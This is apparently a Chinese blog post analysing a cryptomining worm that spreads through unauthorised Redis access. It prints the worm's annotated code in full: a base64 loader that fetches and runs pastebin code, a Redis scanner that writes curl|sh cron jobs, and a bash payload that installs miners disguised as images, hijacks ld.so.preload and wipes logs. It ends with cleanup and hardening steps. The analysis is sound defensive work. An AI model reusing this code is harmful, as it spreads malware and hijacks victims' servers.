0x01 攻击方式

利用的是通用漏洞入侵服务器并获得相关权限,从而植入挖矿程序再进行隐藏。

通过对脚本的分析,发现黑客主要是利用 Redis未授权访问漏洞进行入侵。脚本里有个python函数。

import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))

base64解密完,发现个python脚本:

#coding: utf-8
import urllib
import base64 d= 'https://pastebin.com/raw/eRkrSQfE'
try:
page=base64.b64decode(urllib.urlopen(d).read())
exec(page)
except:
pass

作用是访问https://pastebin.com/raw/eRkrSQfE ,将里面的内容进行base64解密。然后运行。



base64解密后,发现还是个python脚本(我加入了注释):

#! /usr/bin/env python
#coding: utf-8 import threading
import socket
from re import findall
import httplib
import os IP_LIST = [] class scanner(threading.Thread):
tlist = [] #用来存储队列的线程
maxthreads = 200 #最大的并发数量
evnt = threading.Event() #用事件来让超过最大线程设置的并发程序等待
lck = threading.Lock() #线程锁 def __init__(self,host):
threading.Thread.__init__(self)
self.host = host
def run(self):
try:
#使用 Redis 的备份配置文件命令,将挖矿脚本写入 /var/spool/cron/root 文件中。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.5)
a = s.connect_ex((self.host, 6379))
if a == 0:
# */1 * * * * 指的是每分钟执行一次相关命令
s.send('set backuprd "\\n\\n\\n*/1 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n\\n\\n"\r\n')
s.send('config set dir /etc/cron.d/\r\n')
s.send('config set dbfilename root\r\n')
s.send('save\r\n')
s.close() except Exception:
pass
scanner.lck.acquire() #以下用来将完成的线程移除线程队列
scanner.tlist.remove(self) #如果移除此完成的队列线程数刚好达到99,则说明有线程在等待执行,那么我们释放event,让等待事件执行
if len(scanner.tlist) < scanner.maxthreads:
scanner.evnt.set()
scanner.evnt.clear()
scanner.lck.release() def newthread(host):
scanner.lck.acquire() #上锁
sc = scanner(host)
scanner.tlist.append(sc)
scanner.lck.release() #解锁
sc.start()
#将新线程方法定义为静态变量,供调用
newthread = staticmethod(newthread) #获取当前主机 IP, 据此构造出相关 B段 的IP 列表
def get_ip_list():
try:
url = 'ident.me'
conn = httplib.HTTPConnection(url, port=80, timeout=10) #获取到主机ip
req = conn.request(method='GET', url='/', )
result = conn.getresponse()
ip2 = result.read()
ips2 = findall(r'\d+.\d+.', ip2)[0]
for i in range(0, 256):
ip_list2 = (ips2 + (str(i)))
for g in range(1, 256):
IP_LIST.append(ip_list2 + '.' + (str(g)))
except Exception:
ip1 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()
ips1 = findall(r'\d+.\d+.', ip1)[0]
for i in range(0, 255):
ip_list1 = (ips1 + (str(i)))
for g in range(1, 255):
IP_LIST.append(ip_list1 + '.' + (str(g)))
pass #扫描当前主机 (略大于)B段的其他主机的 6379 端口
def runPortscan():
get_ip_list()
for host in IP_LIST:
scanner.lck.acquire()
if len(scanner.tlist) >= scanner.maxthreads:
scanner.lck.release()
scanner.evnt.wait()
else:
scanner.lck.release()
scanner.newthread(host)
for t in scanner.tlist:
t.join() if __name__ == "__main__":
runPortscan()

关键攻击载荷

def run(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.5)
a = s.connect_ex((self.host, 6379))
if a == 0:
s.send('set backuprd "\\n\\n\\n*/1 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n\\n\\n"\r\n')
s.send('config set dir /etc/cron.d/\r\n')
s.send('config set dbfilename root\r\n')
s.send('save\r\n')
s.close()

使用 Redis 的备份配置文件命令,将相关内容写入 /var/spool/cron/root 文件中。

借此使用计划任务执行命令, 其中 */1 * * * * 指的是每分钟执行一次相关命令

整个python文件的作用就是蠕虫式传播,使用python对Redis未授权访问的利用,将挖矿文件传播给B段的IP存在漏洞的主机。

0x02 脚本解释

在挖矿脚本上加入了注释

#!/bin/bash。
SHELL=/bin/sh #此脚本使用/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin #环境变量,用于遍历/usr/下的所有目录和子目录的路径 function kills() { #设置函数变量 kills
pkill -f sourplum #终止进程 将执行与完全进程参数字符串匹配 -f 为正则表达式模式
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg。 #终止wnTKYg进程 终止以ddg*为前缀的进程 删除/tmp/ddg* 为前缀的文件 删除/tmp/wnTKyg文件 &&先成功执行前面的命令在执行后面的命令
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak* #删除/tmp下的凡是index_bak的文件 **为通配符
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 #查询显示其他用户启动的进程(a)查看系统中属于自己的进程(x)启动这个进程的用户和它启动的时间(u)通过grep过滤出mine.moneropool.com字符串,通过awk 截取第二域 传递给kill
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
pkill -f biosetjenkins #终止进程
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 #查询网络状态 通过grep 筛选出69.28.55.86:443 将第7个字段输出,以/为分割符输出第一个字段,最后杀死名称中有xargs的进程
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
y=$(netstat -anp | grep kworkerds | wc -l) #查询网络状态 筛选 进程名称为:kworkerds 统计进程目录下的文件行数
if [ ${y} -eq 0 ];then
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 #查询网络状态 筛选 端口进程为:13531(此端口为矿池端口) 统计进程目录下的文件行数并以/分割 最后杀掉xgrgs 进程 如果命令成功执行则返回0
fi
} function system() {
if [ ! -f "/bin/httpdns" ]; then #如果 /bin/httpdns成立,则下载 https://pastebin.com/raw/Fj2YdETv 脚本,并赋予 755权限,此处为curl -fsSL安装
curl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdns #否则
if [ ! -f "/bin/httpdns" ]; then
wget https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdns #如果 /bin/httpdns成立,则下载 https://pastebin.com/raw/Fj2YdETv 脚本,并赋予 755权限,此处为wget安装
fi
if [ ! -f "/etc/crontab" ]; then
echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab #如果 /etc/crontab成立,则定期执行 echo -e "0 1 * * * root /bin/httpdns"将此命令输出到/etc/crontab下
else
sed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab #否则先删除/etc/crontab 最后一行 并 写入计划任务echo -e "0 1 * * * root /bin/httpdns"输出到/etc/crontab
fi
fi
} function top() {
mkdir -p /usr/local/lib/ #创建 /usr/local/lib/ 目录
if [ ! -f "/usr/local/lib/libntp.so" ]; then #如果 libntp.so 文件存在
curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so #则允许一键命令下载木马命令到libntp.so (此图片木马内含有木马执行脚本仅修改了后缀,实则为木马执行脚本) 并赋予 755权限
if [ ! -f "/usr/local/lib/libntp.so" ]; then #如果 libntp.so 存在
wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so #则以wget 下载以后缀名为jpg的图片挖矿脚本 存储至 libntp.so 并赋予 755权限
fi
fi
if [ ! -f "/etc/ld.so.preload" ]; then # 如果/etc/ld.so.preload存在,则输出libntp.s到ld.so.preload
echo /usr/local/lib/libntp.so > /etc/ld.so.preload #则输出libntp.s到ld.so.preload
else
sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload #否则删除ld.so.preload最后一行内容并重新将libntp.so内容输出到ld.so.preload
fi
touch -acmr /bin/sh /etc/ld.so.preload #创建 新的文件ld.so.preload、libntp.so
touch -acmr /bin/sh /usr/local/lib/libntp.so
} function python() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
touch /tmp/.tmph #此处为调用的python脚本 进行的是base64编码加密 后面做详细的解释
} function echocron() {
echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/root #定期执行下载任务输出到/etc/cron.d/root
echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/system #定期执行下载任务输出到/etc/cron.d/syste
echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/root #定期执行下载任务输出到/etc/cron.d/syste
mkdir -p /var/spool/cron/crontabs #创建crontabs
echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/crontabs/root #定期执行定期执行下载任务输出到/var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly #创建cron.hourly
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron #下载图片木马脚本至oanacro并赋予755权限
if [ ! -f "/etc/cron.hourly/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron #如果存在则下载图片马否则创建新的目录下载挖矿脚本输出到指定文件赋予755权限
fi
mkdir -p /etc/cron.daily
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
if [ ! -f "/etc/cron.daily/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
fi
mkdir -p /etc/cron.monthly
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
if [ ! -f "/etc/cron.monthly/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
fi
touch -acmr /bin/sh /var/spool/cron/root #创建文件,此处是上面输出的指定文件
touch -acmr /bin/sh /var/spool/cron/crontabs/root
touch -acmr /bin/sh /etc/cron.d/system
touch -acmr /bin/sh /etc/cron.d/root
touch -acmr /bin/sh /etc/cron.hourly/oanacron
touch -acmr /bin/sh /etc/cron.daily/oanacron
touch -acmr /bin/sh /etc/cron.monthly/oanacron
} function tables() {
iptables -I INPUT -p TCP --dport 6379 -j REJECT #只允许本机访问 6379端口出于防止其他骇客访问
iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
service iptables save
mkdir -p /tmp
touch /tmp/.tables
} function downloadrun() {
ps=$(netstat -anp | grep :13531 | wc -l) # 查询网络进程中开放的13531端口,如果/tmp/kworkerds存在则返回0并下载图片马脚本到/tmp/kworkerds 赋予755权限
if [ ${ps} -eq 0 ];then
if [ ! -f "/tmp/kworkerds" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
if [ ! -f "/tmp/kworkerds" ]; then
wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds #否则以wget下载输出到/tmp/kworkerds赋予 755权限
fi
nohup /tmp/kworkerds >/dev/null 2>&1 & #后台持续执行输出到/dev/null重定向标准输出
else
nohup /tmp/kworkerds >/dev/null 2>&1 &
fi
fi
} function downloadrunxm() {
pm=$(netstat -anp | grep :13531 | wc -l)
if [ ${pm} -eq 0 ];then
if [ ! -f "/bin/config.json" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json #同上段代码一样
if [ ! -f "/bin/config.json" ]; then
wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json
fi
fi
if [ ! -f "/bin/kworkerds" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds
if [ ! -f "/bin/kworkerds" ]; then
wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds
fi
nohup /bin/kworkerds >/dev/null 2>&1 &
else
nohup /bin/kworkerds >/dev/null 2>&1 &
fi
fi
} update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM ) #检查格组件是是否有更新 #有更新就会执行echocron替换相应的落地文件
if [ ${update}x = "update"x ];then
echocron
else
#判断是否存在.tables ,不存在运行tables函数
if [ ! -f "/tmp/.tables" ]; then
tables
fi
#判断是否存在.tmph ,不存在运行python函数
if [ ! -f "/tmp/.tmph" ]; then
rm -rf /tmp/.tmpg
python
fi
#运行脚本函数
kills
downloadrun
echocron
system
top
#等待10s
sleep 10
##判断是否存在13531端口的连接,没有的话运行downloadrunxm函数,及下载运行需要的文件
port=$(netstat -anp | grep :13531 | wc -l)
if [ ${port} -eq 0 ];then
downloadrunxm
fi #清除相关登录日志、命令操作历史
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
fi
#
#
#

首先检查格组件是是否有更新,有更新就会执行echocron替换相应的落地文件。

kills() 函数

删除旧版文件和杀死其他挖矿程序的进程及文件和端口

system() 函数

下载挖矿木马关键程序(就是downloadrun函数、downloadrunxm函数、echocron函数)并执行

top() 函数

以 so 文件劫持 (/etc/ld.so.preload) 的方式执行挖矿木马,是更隐蔽的执行方式

python() 函数

蠕虫式传播,使用python对Redis未授权访问的利用,将挖矿文件传播给B段的IP存在漏洞的主机

echocron() 函数

将挖矿文件写入各种目录,便于重生

tables()函数

iptables限制6379端口只允许本地访问,目的是避免被其他黑客再次入侵

downloadrun()函数

下载了elf(分析不来)文件保存为kworkerds,应该是挖矿文件

downloadrunxm()函数

下载了elf文件和一个config.json

config.json内容

{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 100,
"pools": [
{
"url": "stratum+tcp://xmr.f2pool.com:13531",
"user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": 1
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}

看到了钱包地址和挖矿地址

钱包地址:47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA

挖矿地址:stratum+tcp://xmr.f2pool.com:13531

该钱包地址收益

同时也明白了$(netstat -anp | grep :13531 | wc -l)查看是否连接了矿池的13531端口。目的是用来判断挖矿机是否正在运行。

0x03 清除方案

1.清理定时任务 (先清理定时任务,再删除挖矿病毒本体,防止再生)

# 包括但不限于
/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/system
/etc/cron.d/root
/etc/cron.hourly/oanacron
/etc/cron.daily/oanacron
/etc/cron.monthly/oanacron
/etc/cron.monthly/oanacron

2.删除相关动态链接库

# 包括但不限于
/etc/ld.so.preload
/etc/libjdk.so
/usr/local/lib/md.so
/usr/local/lib/screen.so
/usr/local/lib/y.so

3.结束掉挖矿和 DDG 母体相关进程

ps -ef | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg|kworkerds' | awk '{print $2}' | xargs kill -9

4.然后删除相应的恶意程序,主要在临时目录下。另外建议用 find/locate 再找一下如下关键字qW3xT ddg* wnTKYg 2t3ik 等, 尽可能清理干净。

# 包括但不限于
/tmp/qW3xT
/tmp/ddgs.3013
/tmp/ddgs.3012
/tmp/wnTKYg
/tmp/2t3ik
/tmp/kworkerds

0x04 后期防护手段

将 Redis 服务关闭,并设置密码。

在 redis.conf 中找到 "requirepass" 字段,在后面填上你需要的密码,Redis 客户端也需要使用此密码来访问 Redis 服务,之后重启 Redis 服务,验证密码是否生效。

注意要使用强度较高的 Redis 密码,因为攻击者也可以通过简单的爆破功能,以扩大传播范围。

基于Redis未授权访问的挖矿蠕虫分析的更多相关文章

  1. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  2. [Shell]Redis未授权访问反弹shell

    原作者:Cream 文章出处: 贝塔安全实验室 0x01 Redis未授权访问反弹shell Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value ...

  3. (数据库提权——Redis)Redis未授权访问漏洞总结

    一.介绍 1.Redis数据库 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key- ...

  4. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  5. 修补--Redis未授权访问漏洞

    --------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...

  6. Redis未授权访问

    最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...

  7. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  8. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  9. redis未授权访问批量验证脚本编写[python]

    漏洞简介 简单来说,redis是一个数据库.在默认的配置下,redis绑定在0.0.0.0:6379,也就是说,如果服务器有公网ip,可以通过访问其公网ip的6379端口来操作redis.最为致命的是 ...

随机推荐

  1. MOOC(7)- case依赖、读取json配置文件进行多个接口请求-跳过测试用例(6)

    初始化.跳过测试用例 # test_class_6.py import unittest from mock import mock from day_20200208_mooc.base.inter ...

  2. java String、StringBuilder

    Java中的String和StringBuilder类: 1.String对象是不可变的.每一个看起来修改了String值的方法,实际上都是创建了全新的String对象.代码示例如下: String ...

  3. CF-1066B-Heaters

    这题就是从1到n点进行遍历,对未加热的点找到最远的能加热到这个点的点,还是看代码讲吧 #include"bits/stdc++.h" using namespace std; co ...

  4. Parentheses Balance (括号平衡)---栈

    题目链接:https://vjudge.net/contest/171027#problem/E Yes的输出条件: 1. 空字符串 2.形如()[]; 3.形如([])或者[()] 分析: 1.设置 ...

  5. Github 绑定域名添加https的方法 2019年9月更新

    官方教程 https://help.github.com/en/articles/using-a-custom-domain-with-github-pages 打开 https://github.c ...

  6. sphinx + mysql 全文索引配置

    参考地址 http://v9.help.phpcms.cn/html/2010/search_0919/35.html http://blog.sina.com.cn/s/blog_705e4fdc0 ...

  7. 如何理解TCP的三次握手协议?

    • TCP是一个面向链接的协议,任何一个面向连接的协议,我们都可以将其类比为我们最熟悉的打电话模型. 如何类比呢?我们可以从建立和销毁两个阶段分别来看这件事情. 建立连接阶段 首先,我们来看看TCP中 ...

  8. 初学Qt——程序打包(环境vs2012+qt5.1.0)

    说来可笑,网上那么多的教程,偏偏结尾的时候就没有一个能详细的讲下关于程序的发布.开发Qt是这样,刚开始做web也是这样,因为是自学的,所以都没人可以教下,结果到了项目完成的最后总是要花费成吨的时间去查 ...

  9. C#连接Informix数据库

    最近在工作中遇到了需要连接Informix数据库的问题,在通过研究后发现了可以通过多种方式实现,我选择的是通过IBM Informix .NET Provider.该方式需要引用IBM.Data.In ...

  10. pip安装psycopg2失败解决

    pip install psycopg2==2.8.4报错ERROR: Command "python setup.py egg_info" failed with error c ...